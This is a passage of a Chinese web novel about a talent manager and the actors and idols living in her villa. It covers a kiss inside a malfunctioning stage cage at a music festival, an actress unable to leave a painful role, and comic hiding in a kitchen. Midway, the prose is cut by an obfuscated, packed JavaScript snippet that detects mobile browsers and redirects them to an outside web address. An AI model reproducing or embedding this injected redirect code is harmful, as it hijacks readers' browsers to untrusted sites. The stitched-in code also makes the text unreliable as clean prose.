正常来说,这些轻钢是可以伸缩起来,打开一个出口的,但因为故障,四方的轻钢格子没有一个正常打开,反倒像是成了一座钢铁囚笼,将奚亭云牢牢地困在里面。 他双眼无神地坐在沙地上,靠着这座囚笼。 嘴里像是呓语般地一句句念着让宫欢受不了的昵称。 脚步声在这人声鼎沸的地方,实在是微不可闻。 但奚亭云还是感知到了沙子的流向,一些细碎的砂砾被宫欢踢进囚笼,他缓缓向着侧后方看—— 他笑了笑。 “笑什么?”宫欢有些莫名,偏头仔细看了看他脸上的神情。 周围灰蒙蒙,没有灯光,连五官都要勉强的仔细辨认一下,才能看得出来是谁。 但他知道来的人是谁。 他笑,为什么你总是会主动走到他身边。 一次次,一遍遍。 “欢欢。”奚亭云出声。 宫欢有些受不了地小小跳了一下,“不准这么叫我了,叫姐,要尊称知道吗!他们,他们全都要叫我一声姐的。” 奚亭云说:“可我比你大。” 宫欢没太明白,她不是来找人的吗,怎么突然扯到年龄了? 没等她想怎么接这句话,奚亭云又说:“那应该叫,欢欢妹妹——” “闭嘴!!!”宫欢忽然更炸了,她嫌弃得不行,退而求其次地说,“欢欢就欢欢吧。” 总比他莫名其妙多出奇奇怪怪的昵称好——宫欢可受不了那些黏糊糊的称呼。 她轻咳一声,试图将话题拉回来:“我说怎么他们都出去了,你一直不见影子,就过来找找你,这个,我看我也帮不上什么忙,我还是去找人来——” 她边说边往后退,像是准备跑了。 “宫欢。” 奚亭云忽然连名带姓的叫她,惹得她又是有些小反应,睁大眼睛去看他。 他撑着身体站起来,人几乎与这轻钢囚笼齐高,黑色的人形阴影压迫感极强。 宫欢莫名感到害怕,她止住脚步,但仍保持着远远的距离,她故作镇定地压低嗓音,让自己看起来很严肃:“干嘛?” “你过来。”他说。 神经。 宫欢:“你让我过去我就过去?你是谁啊?” 奚亭云一只手抓住了横在面前的轻钢,他身体重重地砸在囚笼上,发出近似挣脱铁链般的声响。 宫欢心口忽得一跳,连她自己都没发现,她有多紧张。 “你是不是在害怕?” 害怕? 他说谁? 她害怕? 哈哈,真好笑,她会害怕? “没有啊。” 宫欢的声音在发颤,她咽了咽口中的唾液,像是想把悬在嗓子眼的心脏咽回去,她极力维持镇静地抱着手臂,高高仰着头,抬起下巴:“我有什么好怕的。” 奚亭云将头靠在轻钢上蹭了两下,挤到两条轻钢中间的缝隙里,将头往外凑,他眼神幽黑,让人看不出情绪,只能从声音里听出些意味深长。 “那你为什么不敢靠近,”他说,“你是不是在躲着我,为什么离我那么远?” 宫欢不想细思他问的那些话,只好往前一步:“这样好了吧,我没有躲你,我总要找人来解决麻烦吧。” “再往前一点。” “这样?” “再近一点。” “还要近?这样?” “......” 他不说话了,宫欢不明所以,抬起头去看他—— 猛然惊觉,她有点太近了。 昏暗的地下舞台,只能靠外部的微光映出一点点的轮廓,她看见奚亭云紧绷到冷硬的下颌,他的脸,鼻梁,还有眼睛。 深邃而幽黑,像黑洞般缓缓注视着她,吸引着她向里沉迷。 她一下被这莫名危险的气息吓到,刚想退开半步,奚亭云忽然伸出了另一只手,从腰的一侧,绕到另一侧,扶住了宫欢的手肘,将她牢牢揽住,隔着几条轻钢,宫欢被他紧紧箍住了腰。 “你!”宫欢被迫贴近微凉的轻钢,她不敢置信地动了动身体,被那只手臂困得更紧,而面对面的,是有些陌生,危险的奚亭云。 她一下就恼了,怒气冲冲地:“给我松开,别逼我扇你!” 在宫欢真要付诸行动时,奚亭云蓦地垂头,将探出囚笼的头轻轻靠在了她的肩上,宫欢扬起的手僵在半空。 他用额头蹭着她的脖颈,冷而危险的语气中带着委屈,他控诉着:“这段时间,为什么一直都忽视我,冷落我。” 哪有那么多为什么,他怎么那么多问题,他怎么那么敏感,他怎么那么......麻烦! 麻烦死了! 僵住的手与宫欢的反应一同停滞了十几秒,她磨了磨牙,压抑着紊乱的呼吸声,手指一根根蜷回了手心,攥成拳,抵在了奚亭云的肩上,轻轻推了推他,没推动。 她试图劝说他:“你先冷静一点,我们有话好好说。” “我很冷静,”他的鼻息扑在她脖颈处的皮肤上,炙热得能将人融化,声音更为嘶哑,“冷静到知道你没把我当回事,你知道我的想法,不拒绝我,不骂我,反而任由我一次次得寸进尺,让我以为自己真的可以,可结果呢,你只是...只是把我当做消遣吗?” 完蛋,被发现了。 气势汹汹的架势瞬间弱了下去,宫欢刚才还僵着身体有小小的反抗动作,在奚亭云这番话后,直接老实了,一动不动地乖乖待在他怀里。 她演得很差吗? 不是有暧昧互动吗? 不是也给了资源吗? 怎么他就觉得不够呢? 得寸进尺?对,他得寸进尺的也太厉害了,现在都敢既要还要,他居然还想要—— 宫欢呼吸霎时一滞。 不敢再往下细想了。 她又安静了,乖乖的,一声不吭地当个鹌鹑。 仿佛这样就能让人不忍继续逼迫她。 的确,奚亭云不忍心。 他以为自己的耐心足够能撑到融入宫欢生活中的那一刻,但一天天的相处下来,他好像患上了无法戒掉的瘾。 最初,他只是想经常能看见她,在她身边,哪怕是一个无名小卒,哪怕不会被她看上一眼。 她如果真的是娱乐八卦新闻里面所说的那样倨傲,目中无人,谁都看不起,也许奚亭云很快就会失去对她的过度迷恋,也许他看清了她真实的人品之后,他的喜欢会减弱,只是在心底拟化出他喜欢的“宫欢”,将真实的宫欢高高捧起,成为他永远不能触碰的存在。 可为什么呢。 为什么她一次次看见他,找到他,关心他,她为什么要将情绪投注在他身上。 她没有架子,不会乱发脾气,温柔善良可爱勇敢自信大方有爱心,所有美好的品质奚亭云都能在她身上看见。 她太好了,好到让奚亭云对她的迷恋与幻想破碎,他喜欢的,执迷的明星‘宫欢’这层镜面碎开,里面真实而鲜活的宫欢就这 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他这么黏着她,就是想让她上点心,哦——对,那句话怎么说来着,安全感。 他没有安全感,宫欢平时没多给他情绪,导致人想东想西,陷入这样的情绪困境。 宫欢越想越觉得有道理,她分析人性真是一把好手,在心底默默赞叹自己的高超技巧后,她身体动了动,准备做出反应—— 奚亭云比她的反应还要大,他偏头看了看她的手,是想要推开他,还是要扇他? 明明是要好好说话,宫欢却心虚得发慌,她的手扶住了奚亭云的头,捧起他的脸,盯着他的眼睛认真地解释:“我没有把你当成消遣,你怎么会这么想。” 奚亭云愣愣地看着她,有些结巴:“那,那你之前......” “那是我工作太忙了,忘记照顾你的情绪,”宫欢一本正经地胡说八道,她微微蹙眉,做出怜惜的神情,完全掌控了场面,“我知道你的想法,但是我不能确定你是不是真心的,所以我只能暂时保持原样,看你会不会做出其他的事情,毕竟,这种事情,怎么好让我主动呢?” 她说得很有道理。 奚亭云想点点头,但脸颊被她捧着,也就没有做这个动作,只是轻声应了声嗯。 计划有效,宫欢默默为自己竖起大拇指——摆平! 只是这样可能还不能完全安抚,她眼神飘忽了一下,想了想。 她偏了偏头,倾身,踮脚去亲了亲奚亭云的嘴角,唇落在他的皮肤上,温热与微凉的短暂相触。 宫欢给他一点好处后便赶紧推开,没想到退回去的时候,奚亭云揽住了她的背,使她无法拉开两人的距离,反而比刚才更近。 奚亭云侧头,将唇凑到她耳边,眼神无意识地落在她刚才吻过他嘴角的唇上,一字一句地说:“你在敷衍我。” 他知道,他都知道,只是再多敷衍一点不好吗? 宫欢深呼吸几下,用力推开他,彻底摆脱了奚亭云的束缚,她有些不耐烦。 “你要求不要太多好不好,总是得寸进尺,步步紧逼,”宫欢实在不想这样牵扯下去了,她烦躁得很,索性直接将话挑明,一了百了,“这是你该做的事吗?当初说好的我会捧你,我就会做到,不是你这样故意做这些事情,故意讨好我,我就会把资源都给你,我早就说过我不是潜规则的那种人,是你非要上赶着凑过来,我不点出来就是不想让大家之间难看。” 奚亭云:“你以为...我是想让你潜规则?” “不然呢?”宫欢说,“你的那些举动,除了这个原因,我想不出来有别的可能。” 她居然是这样看他的吗? 难怪。 她不接受、不拒绝、不说明,只是任由他一再的逼近,原来只是将他们之间的关系扭曲成了交易。 奚亭云扯了个笑,像是自嘲。 他颇有些自暴自弃地,想将一切都说得明明白白,哪怕是破罐子破摔:“你难道没有想过,我是真的——” 这一瞬间,宫欢的反应前所未有的快,她几乎与他同频,能预料到他会说出什么让人震惊的事情—— 不行,不能,不可以! 她极快地伸出手,抓住他的衣领往前一扯,身体砸在轻钢囚笼上,发出沉闷的响。 电光火石间,她对上他微怔的视线,来不及闭眼——她踮起脚尖,仰起头,用力地亲了上去,堵住了那正要说话的唇。 时间仿佛静止。 周遭的黑暗使身体感官异常明显,唇与唇相贴的温度,触感,让大脑失去所有思考。 奚亭云的身体轻飘得像是会幻化成云,他意识模糊,唇不自觉吮着,将唇边的甜腻气味尽数吞入口中,他听得到心脏处狂乱躁动的鼓动,血液上涌,身体迅速涌上一层热意。他们的头顶传来主持人们齐声的倒计时:“——无人机焰火秀倒计时,让我们一起见证这个夏季的开始!三,二,一!” 砰——砰,呲——哗。 烟花在天空中炸开一道道璀璨的火花,上千台无人机在空中摆出巨型草莓的形状,草莓的边缘向下流动着小焰火,圆环在空中转动,内环中往外迸发出更多密集灿烂的烟火。 漆黑的夜幕不断被烟花点亮,无人机再次切换队形,在天空中组成了一排字:【2025年夏天,草莓音乐节与你共同度过。】 潮岛上的人群举起手机拍下这让人难忘的一场盛宴,音乐节现场,舞台上的众多明星都在欢唱着结束曲,萧子重和安声早就被挤得分散,他费力站在了一处还算安全、不会被踩到脚的地方。 在震耳欲聋的欢呼声中,他捂住了耳朵,往台下的万人中看去。 黑漆漆的人群里,像是心灵感应般,萧子重的视线扫过人群时,忽然瞳孔放大,锁定在了一处。 那里,穿着白裙的女孩高举荧光棒,蹦蹦跳跳地朝台上喊着什么。 万人呼喊的音浪将声音消抹掉,萧子重只紧紧看着她的口型默读,片刻后,他蓦地笑了出来,台下的女孩也与他一起笑着。 “让我们一起,迎接2025夏季的新篇章——我们,不见不散!” 97. 草莓音乐节5 无人机焰火将整片天空照得亮如白昼,这夜不休。 萧子重费力挤开现场的人群,来到刚才甘惊鸿所在的位置。 他四处张望寻找,却没发现人,焦躁地抬手捏了捏太阳穴,不经意间,余光瞥见音乐节出口处正要往外走的人,所有人都在往里挤,只有她在往外走。 “等等,小甘!” 萧子重急忙往出口走,他不断向附近的人说着“借过”、“抱歉”,眼睛不敢有任何偏移,牢牢锁定着一直不回头,往外走的她。 “甘惊鸿!”萧子重不断喊着她的名字,在频频望来的谴责眼神、嫌恶的啧啧声中,终于挤到了出口外。 他更是一刻都不敢停,迈开步朝她的背影追去。 焰火一次次点亮夜空,流动的光影在她身上不断略过,她走得不快,脚下的沙滩留下一个个足印,他就沿着那些足印追上了她。 距离近了,他伸手拉住她的手臂,用了些力将她转了过来—— 嚯!更黑了。 萧子重的目光落在黑如锅底的一张脸时,心里突的一跳。 甘惊鸿仍是不太愿意理他,她扯回手,抱起手臂将头扭到一边,冷淡地说:“有什么事吗?” “有,”萧子重忙不迭说,生怕慢一点她就不想听了,“我之前不是故意笑你的,我当时只是觉得...你很可爱,绝对没有多余的想法!” “你不止白皮肤好看,黑皮肤也好看,哪怕是紫色绿色蓝色黄色都是好看的!” 萧子重慌不择言地解释着,甘惊鸿脸上没表情,眼睛却往他这边瞥,像是在判断他说的真假。 “我去问了宫欢你这次出演的角色——她是一个被重男轻女的15岁女孩,被家人要求嫁给一个癞子的时候鼓起勇气逃了出去,她找到工作,努力挣钱,被人追求的时候感到了幸福,可在最幸福的时候又被人骗了钱,她想改名,改掉那个不属于她的名字。” “她很努力的在生活,没有学历,可学到了技术,本来以为生活走上正轨了,可又在工作中伤到了手。我看了助理发的视频,你在回村的那场戏里表演得非常好,完全看不出来表演痕迹!你被村里人说挣了钱不给家里,所有人都在骂你白眼狼,家里人还扇了你一巴掌,最后你跪下磕了个头——” “你转身往村外走的那段表演,是我见过最好的表演,你决绝而绝望的眼神,眼泪在眼睛里打转,却一直没哭出来,身后都是那些鄙夷冷漠的脸,这个角色虽然是女三号,可在我这里,这是堪称电影级别的表演......” 他每个字都说得认真,诚恳,始终直视甘惊鸿的眼睛。 想说的不止这些,他觉得她很厉害,上一个角色是单纯的学生,转换成一个从小在偏远农村的女性,遭受种种不公平的待遇,她完全演出了那种悲凉,讽刺。 萧子重完全可以向所有人夸口——她是他见过最有天赋的演员。 空气安静了很久,只有焰火在絮语,海风偶有回声。 甘惊鸿松开抱着手臂的手,垂在身体两侧,她正了正身体,直面萧子重。 这次的角色因为需要对外保密,甘惊鸿没对谁说过她饰演的角色内容,演完戏后,她一直没走出来。 为什么人生会那么难,为什么她那么惨。 剧本里只写了王楠这个角色的一些片段内容,她所饰演的剧情也都只是零碎的剧情,在主线中穿插为一个小故事。 甘惊鸿将那些剧情整理出来,在脑海中不断想象,模拟,先是她的举止动作,她的心理状态,再到她所遭受的那些不公平待遇。 仅仅是想还不够,甘惊鸿会在没有自己戏份的时候写人物小传,她为王楠写了3万字左右的小传,边写边哭,越写越苦。 剧里,王楠有一个开放式结局,她迎着朝霞一路走,永远不回头。 也许以后还有更难的事,但没关系,她会学聪明的,跌倒几次就爬起来几次。 只是让甘惊鸿一直无法走出来的是,为什么明明是血浓于水的亲人,却因为性别得到差别对待,甚至是恶意对待。 她有些时候会跟着王楠一起恨,她恨家人,恨弟弟,恨父亲,恨骗她钱的男人,恨所有男人。 回到别墅后,她试图让自己不要太被情绪牵着走,可总是无法控制——为什么男团随随便便跳一跳舞,就能得到关注度。 而她努力演戏,认真敬业,却没有几个人能看到她。 为什么总是不公平,为什么啊。 甘惊鸿感觉得到她被王楠的恨意影响,她想控制住,可又找不到好的办法。 对萧子重生气,也只是耍小脾气,她知道前辈没有别的意思,可就是忍不住曲解。 知道他们会来音乐节,甘惊鸿想脱离出王楠的情绪,对萧子重说加油,可她在楼梯口来回踱步,就是无法去敲门,说出来那句话。 她只好偷偷买了机票、演唱会票,来到现场——在十几万人中为他们加油。 做完她身为甘惊鸿该做的,就可以悄悄地离开了。 但是怎么会。 他居然能看到她,在那么多的人中,找到了她。 他们面对面,甘惊鸿没由来地眼眶湿润,她吸了口气想缓下那些泪意: “我知道的,前辈。我知道你没有故意的意思,我只是,情绪有些失控,我没办法控制住,我不知道该怎么办。” “那就好,”萧子重刚松了口气,猛然发觉话中的歧义,他紧张地举起手解释,“我我不是那个意思——” “噗嗤,”甘惊鸿久违地笑出来,积压在心头的负面情绪散去许多,她声音甜甜地,“我知道。” 萧子重也发现了,一碰上甘惊鸿,他就容易冒冒失失,连平时和宫欢不相上下的嘴皮子都笨重许多。 他也无奈地笑笑。 两人在荧光海边的沙滩坐下,浪潮不断翻涌,背后的焰火声逐渐减弱,海浪的声音便更清晰。 “之前饰演单虹的时候,我就有点很难抽离出来,”甘惊鸿托着下巴,视线没有落点地在荧光海水里漂浮,“如果不是清英姐拉着我做体能特训,我到现在可能还在做试卷,学习口语。” 萧子重很少做倾听的角色,他两条腿微曲,手肘搭在腿上,侧着头看甘惊鸿。 “现在呢?”他问。 “现在......”甘惊鸿无意识地拖长尾音,“我演了王楠,她的情绪比单虹更强烈,我在剧组的时候要用更久的时间去进入角色,要用更激烈的办法让自己诠释她的情绪。” “我经常在网上搜集有同等情况的人,记下她们的评论,将一些内容稍微改动一下,塞进王楠的壳子里。” 不能这样,不能让她一直在王楠身上打转。 萧子重捏紧了手指的指骨,想着要怎么让她从牛角尖里走出来。 忽然,他倾身离得更近,有些过分的距离,甘惊鸿一下察觉到,身体后仰一点:“前辈?” “你讨厌我吗?”萧子重问。 “当然不了。” “我有做过让你很讨厌的事情吗?” 甘惊鸿认真地想,良久,摇摇头。 萧子重轻笑了声:“要想这么久吗。” “你讨厌的不是我,不是奚亭云或安声,更不是男性,”他说,“你讨厌的是封建的制度,偏见的观念,顽固不化的、固执的那些思想。” 甘惊鸿微微瞪大了眼睛,她没想到萧子重会这么说。 “我其实也很讨厌。” 萧子重回正身子,两腿伸直,双手撑在身后,姿态轻松地聊起来: “我从小就长在一个部队大院里面,进出往来的人都很厉害,我小时候很想成为他们那样的人,可是后来我发现,身边的人都在有意地让我往这方面发展,有时候强迫有时候诱导我学习那些东西,这就让我很反感。” “他们发现我不喜欢之后,就更变本加厉地开始明里管制我,我的作息,学习内容,全部都要按照那些标准来,不能早一分钟起来,不能晚一分钟睡觉,不能乱交朋友,只要带我玩的朋友就都是狐朋狗友。” “他们说,我唯一的目标,未来唯一的方向,就是他们给我划的道路。” 萧子重说起这些时姿态洒脱,语气也自然,仿佛已经不把那些过往当回事。 “怎么说呢,好像你的出生,你的成长,你的生活,你的未来,一切的一切,都要按照他们的规矩来,没有别的选择。” 甘惊鸿听得入神,她抱着膝盖,将脸搭在上面,眼睛一眨不眨地看着萧子重。 “好难受,那好像是一个机器人。” “是啊,我经常想,他们应该生个机器,设定好学习,成长,结婚的路线,一点都不会有偏移。” 萧子重也转头看她,额前的几缕碎发被海风吹动,眉骨下的眼睛亮得耀眼:“我说这些不是想博取你的同情,我只是想让你明白——你看,我现在做个唱跳爱豆也挺好的啊。你觉得,我刚才在舞台上的表现怎么样?” 甘惊鸿猝不及防对上他调侃的视线,愣神了几秒,脑中闪过他的那些舞台画面,“很漂亮,很好看,很厉害。” 一连用了三个很,萧子重扯起嘴角笑:“演员是个痛苦的职业,非常耗费你的情绪,但同样,它也是个很有水分的职业,要怎么做,只看你的诚意。” “甘惊鸿,你已经很厉害了,你前途无限,只要走下去,一定是一匹黑马。” 被人这么夸,她反而有些不好意思,抿起唇笑:“不要夸得太厉害啦。” “但演戏并不是最重要的,”萧子重说,“你要面对自己的内心,审视自我情绪,不要一味地被自己塑造出的世界绊住脚,现在只是两个角色,你就抽离不出来了,那以后怎么办?” 甘惊鸿摇摇头:“......我不知道,我只知道怎么去感受,塑造角色,但是我不知道怎么跟她们告别,好像告别,就等同于死亡了,我们就再也见不到了。” “不会的,不会的。”萧子重放轻声音重复两遍,像是怕吓到她。 “你在剧组里、在镜头前的每一个演绎,都留下了她们,她们不会永远离开,只是被你留在了另一个世界,而你,要去迎接更多的角色,留下更多的作品,对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126388|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对?” “如果一直不抽离出角色,会很痛苦......” 甘惊鸿静静地托着下巴,认真而专注地看着萧子重,听着他说的每一句话,她眼睛有些移不开。 也许是气氛使然,她忽然冒出了句:“我果然还是很喜欢前辈这样的人。” 萧子重以为自己听错了,说话卡了壳,眼睛不受控制地停留在她脸上。 “......什么?” 他又问了一遍,甘惊鸿却不说了,只是笑着摇摇头。 好像有什么在一下一下的敲击着,鼓点声在耳边响起,萧子重反应了一会—— 啊,那好像是他的心跳声。 两人交谈的声音被海风吹散在莹蓝色的海面上,浪潮前扑后继,细碎的荧光颗粒被留在了砂砾中。 天上的圆月被云遮蔽,露出了半边残缺的一角,月辉在寂静的夜里流淌,后花园满地清冷,别墅的一个窗口里有淡淡的橘黄色暖光,无法温暖月夜。 书页的页脚被手指翻动,关清英侧头看着这一页的图片,厚厚一本的大部头看到了一半,图片占大多数,她看了许久,眼睛有些酸胀,才放下书。 合上书,书封写着《尸体图鉴详解》。 她垂着眼,手指在书封上无意识地滑动。 “你有明显的入戏、出戏的状态吗?” 心理医生在会客室做着笔记,对面是坐在沙发上的关清英。 她想,宫欢说要找心理医生过来,还真的来了。 在【重刑之下】剧组里,关清英常和法医打交道,心理医生和侧写师也都是经常见的,至于自己来看心理医生,还是头一次。 大概是关清英走神太久,医生伸手在她面前晃了晃:“你分得清现在是现实还是虚幻吗?” 关清英有些无语,但还是照实说:“能分清。” 她只是最近太不对劲,无论是疯狂运动训练,还是去接新戏换环境,都无法让她脱离出来。 很痛苦。 医生带着认真倾听的神情:“你觉得你是在什么时候开始的?” 什么时候,应该是进剧组之后。 太久了,成为陈队长的时间太久,她都有些不能分清楚她是谁了。 “我总觉得心里空落落的。” “结束了那段时间之后,好像,找不回自己了。” 医生:“你应该是在戒断反应的阶段,毕竟长达九年的时间,你从刚毕业懵懂的学生时期就一直练习相关的内容,表演这个角色,还有不停地看那些剧本,你日日夜夜的去钻研,学习,这个角色已经成为你的一部分,它融入你的血肉里,是你隐性的第二人格。” 关清英:“第二人格...?” 医生:“严肃来说是这样的,如果你再这样下去,很可能会出现人格分裂的情况。但让人惊奇的是,你的意志力非常强大,人格可能不会分裂,只会像现在这样,不断折磨着你。” “我该怎么办,我不想这样。”她的声音轻飘飘,“我想正常一点。” “你觉得什么是正常呢?” “......” “试着接纳吧,不要排斥,它已经成了你的一部分,无法分割,割下来的话,要连血带肉,很疼的。” “卡——好,各位休息一下吧!” 一声叫喊将一切正在进行中的剧情中止。 剧组人员纷纷入镜整理道具布景,导演快步穿过地上的铁轨,避让开正在补妆的群演,走至一辆老式洋车旁,向坐在车内的赵莉莉说: “赵老师非常好啊,非常好!您的一场戏太完美了!我从没见过这么贴合景色与剧情的人,您,您真是出乎我的意料!” 赵莉莉抬手抚了抚紧贴脸庞的额边头发,她弯眉,露出个腼腆又欣喜的神情来,眼眸格外的柔美:“您谬赞了,我也只是跟着剧本来演,还是您提醒我这个角色的特质,我才能有发挥的余地。” “赵老师太谦虚了啊哈哈哈哈哈。” 叮叮叮。 电车经过时发出敲击铃声的提示声,路上穿着洋装的行人们注意着避让,有人骑着自行车路过正在叫卖报纸的报童旁边,报纸上写着—— 【近日海外学子悉数归来,是思乡还是恨归。】 这个夏季只是刚开始,就已经让人觉得非常漫长,时间仿佛被无限拉长,分分秒秒都烙印在每个人的记忆里。 舞台边缘的黑色幕布被人拉开,一群人急匆匆地冲了进去,准备营救被困人员。 高姐紧跟在后,小跑着赶到了舞台故障报修的位置。 由数条轻钢组成的方形格子非常像一座囚笼,囚笼外,宫欢背对着笼子坐,神情有些恍惚,她的上衣衣摆被拉进了囚笼内,一只手牢牢抓着不放。 手的主人被一支支手电筒灯光照着,他不适应地眯了眯眼,偏过脸,将头靠在宫欢背部紧贴的轻钢上。 他们静静地坐在原地,耐心地等待着维修人员处理,高姐隐约感觉到有什么变了,可又说不出来具体。 也许,只有他们自己才知道一切究竟是怎么回事。 98. 不能认真 甘惊鸿最近肉眼可见的开心。 尤其是和萧子重在一起的时候。 别墅里时常响起她叫萧子重的声音: “前辈!”“前辈?” “太好了前辈!” “前辈要去哪儿啊?” “我们一起吧前辈!” 宫欢听得耳朵都要起茧子,在厨房碰见狗狗祟祟、正在躲藏着的萧子重时,她搞怪似的掐起语调模仿: “前辈,前辈——我说萧子重,你给小甘灌了什么药,她一天天的这么黏你??我可告诉你,你别把她也给我带坏了!” 萧子重缩在厨房一旁的绿植后,两手抓着一片绿叶试图挡住身体,这里算是视角盲区。 他听见背后的话,啧了一声,不满道:“什么叫也?安声是自己学坏的,关我屁事。” 宫欢轻哼一声,懒得搭理他。 她喝了几口水准备走向客厅,没走两步,楼梯上传来另一道声音:“你看见宫欢了吗?” “!!!” 宫欢脑中登时警铃大作,手中的玻璃杯险些被她捏出裂痕,她浑身僵住,站在原地不敢动弹,认真听着客厅传来的声音—— “没有,你看见前辈了吗?” “没有。” 一瞬间,宫欢与萧子重无声对视几秒,眼神交流。 萧子重眉毛上下扭动:【怎么回事!?】 宫欢瞪大眼睛摊手:【我怎么知道!?】 萧子重咬牙皱鼻:【现在怎么办?】 宫欢继续摊手:【我怎么知道!!】 萧子重仰天长叹:【你就不能说点别的吗!】 宫欢:【我也想啊——等等,什么声音?】 两人眯起眼睛,侧耳倾听。 “你有去厨房看吗?”奚亭云问,紧接着便是连续的下楼梯的声音。 “哦!好像是还没有。”甘惊鸿后知后觉地说。 脚步声从这开始凌乱起来,两人貌似都在齐齐往厨房走来,“不过我叫了好几声,如果有人的话,应该会回应我的。” “不一定。”奚亭云很有经验地说。 厨房里,宫欢猛地往回跳了两下,将手里的玻璃杯一把丢进了垃圾桶,慌乱地扒着墙砖试图找个缝钻进去。 该死该死该死! 奚亭云怎么跟个雷达似的!! 萧子重同样手忙脚乱,外面两人的脚步声越来越近,他急得揪掉了发财树的叶子—— 被宫欢眼尖地看见,她一把掐住了萧子重的脖颈疯狂摇晃,含着怨气的低声咒骂:“你毁我发财树,你想断我发财路!?我看你在找死!” “呕——等,等等!”萧子重被宫欢的手劲掐得脸通红,他忍住想求救的叫声,哑着嗓子费力说,“他们马上就过来了,别再纠结这些了啊!” 对啊。 宫欢手猛地一松,瞪了萧子重一眼:“以后再找你算账。” 两人翻着锅碗瓢盆垃圾桶,到处找能藏身的地方,萧子重甚至拉开了冰箱门试图钻进去——直到,两人听见厨房窗外的一声鸟叫。 “咕叽咕叽咕叽!”厨房外,后花园的树上几只鸟叽叽喳喳地仿佛在互相八卦。 厨房内,萧子重和宫欢两人对视一眼,露出了然的表情。 萧子重以为宫欢和他的想法一样,没想到下一秒,宫欢冲到窗户旁边,拉开窗帘,冲那几只鸟叫道:“占着我家的树还蛐蛐我,早晚把你们烤了吃!” “......”萧子重绝望地拍了把额头。 老天,他究竟找了个什么样的经纪人啊。 他咬着牙走到窗边,伸出一只手,两根手指做出小人跳窗的动作给宫欢看,随后指了指他和宫欢。 宫欢这才恍然大悟,原来是这个意思。 时间紧迫,脚步声逐渐逼近,宫欢甚至看到了奚亭云的衣角,她顾不得那么多,转过头十分郑重地看着萧子重。 萧子重不解,皱着眉刚准备摊手耸肩—— 只见宫欢露出个礼貌而饱含歉意的微笑,抬手拍了拍萧子重的肩膀,在他迷惑的状态中,一把将人推出了窗外! 厨房紧挨着后花园的一片草地,但位置较高,距离地面大概有一两米的高度。 萧子重猝不及防被推出去,甚至下意识还要捂住要怒骂的嘴,砰得一声,摔在了一片柔软的草地上,浑身剧痛,没等他缓过神来破口大骂,紧接着就是一个人的重量。 只听咔嚓一声,萧子重顿时眼睛瞪大,感觉腰、折了。 宫欢稳稳着陆,扶着萧子重抬起来的头站起来,拍拍屁股上不存在的灰尘,优雅地撩了撩头发,迅速闪身离开了犯罪现场。 脸埋在草地里的萧子重心里骂了一万遍,但还是拼命拖着身体爬起来,一歪一扭地跑到其他地方去了。 厨房里,奚亭云和甘惊鸿两人走到厨房,看不到一个人影。 甘惊鸿失落不已:“前辈最近没行程啊,也不知道他在哪里。” 奚亭云没搭话,只是看着厨房的窗户,幽幽问道:“这扇窗户之前开过吗?” “什么?窗户?”甘惊鸿纳闷地看过去,“厨房有窗户?” “......” 不怪甘惊鸿不知道,他们在别墅时,每到饭点大家都会来帮阿姨们端菜,但没人注意到厨房有窗户。 因为之前从来没有打开过。 奚亭云说了句意味不明的话:“最近,我们应该是很难见到他们了。” - 刻意躲人是件麻烦事。 宫欢还能用工作应酬等借口往外跑,一跑就是几天,看不见人影都是再正常不过的事。 萧子重就麻烦了。 他的工作与男团相关联,而男团又靠宫欢拉资源,宫欢没有安排商演代言之类的活动,他们就得在家里排练。 甘惊鸿最近处于沉淀期间,没有接着选角色进组去拍戏,这就使得萧子重总是躲不开她。 他也不是想躲着她。 相反,甘惊鸿最近愿意亲近他的表现,使他感到前所未有的欣喜,像被人塞了一怀的礼物,隆重且珍贵。 而因为珍贵,他有些不敢拆开这个礼物。 太珍贵的东西要好好地放在防尘柜里的。 甘惊鸿是否知道她的礼物有多珍贵? 她也许只是不加设防,天真单纯地对他热情——那,他又怎么能随意对待这份礼物。 他怕手是脏的,怕拆礼物的动作不够轻柔,怕自己唐突,怕他无法正确回应她的热情。 所以,干脆就先躲避着吧。 他很矛盾。 明明之前他总想在甘惊鸿面前刷存在感,可现在当她真的正视他了之后,他又觉得自己好像还不够资格。 她怎么那么单纯呢? 只是说了一些知心话,做了一些表面的好,她就觉得他是好人? 他只是一个,混了多年仍旧没个名头的小演员,还不如宫欢能带给她的资源多,他有什么值得她停留? 萧子重克制不住地去想更多,想到后面头痛,烦躁,不安。 这期间有个演员朋友联系他,两人之前关系还不错,朋友让他来剧组转转看能不能得到一些机会。 能暂时离开别墅,萧子重求之不得。 他现在完全不敢出现在甘惊鸿面前,一看见她的笑眼,他就控制不住自己,想亲近,想更近一步,想要更多。 以至于,朋友刚发来了定位,萧子重就迫不及待地拎着行李包离开了别墅。 坐上飞机后,才先斩后奏地告诉宫欢:【我去竖店剧组找朋友了,过几天就回来。】 宫欢回:【1。】 - 发愁的不止萧子重。 宫欢更是愁上加愁。 “唉。”宫欢对着书房的窗口默默叹气。 高姐眉头紧皱,这段时间以来,宫欢一闲下来就会不自觉发呆走神,时不时叹气,一天至少能听到个十几次。 愁什么呢这是? 敏锐的高姐细思了一番。 好像从草莓音乐节结束后,宫欢就开始不对劲了,一天天神出鬼没的,比以前还要更积极地外出应酬,也不喊累,不喊烦。 这令高姐不由得想,难道20亿到账了? 可看她唉声叹气的样子,也不像啊。 高姐整理了下文件,装作漫不经心地问:“他又招惹你了?” “谁说——”不是呢? 话在嘴边硬生生拐了个弯,宫欢的嘴差点就脱离了大脑的控制范围,好在临场反应快,她快速接上:“谁啊,你说谁啊?谁惹我了?” 宫欢一脸不明所以,睁着卡姿兰大眼睛卖无辜,高姐没多说,收完文件后交代了一些工作内容,走出了书房。 宫欢身体顿时松懈下来,她瘫在窗口旁的沙发上,脑子里全是浆糊。 这段时间她的脑子就没正常运转过,就从音乐节那天...... 她怎么就亲了奚亭云啊!? 那嘴到底是怎么上去的!? 他怎么就没推开??? 哦对,他上赶着还来不及,怎么会推开当时情绪上头的宫欢。 悔恨,非常悔恨。 不安,良心非常不安。 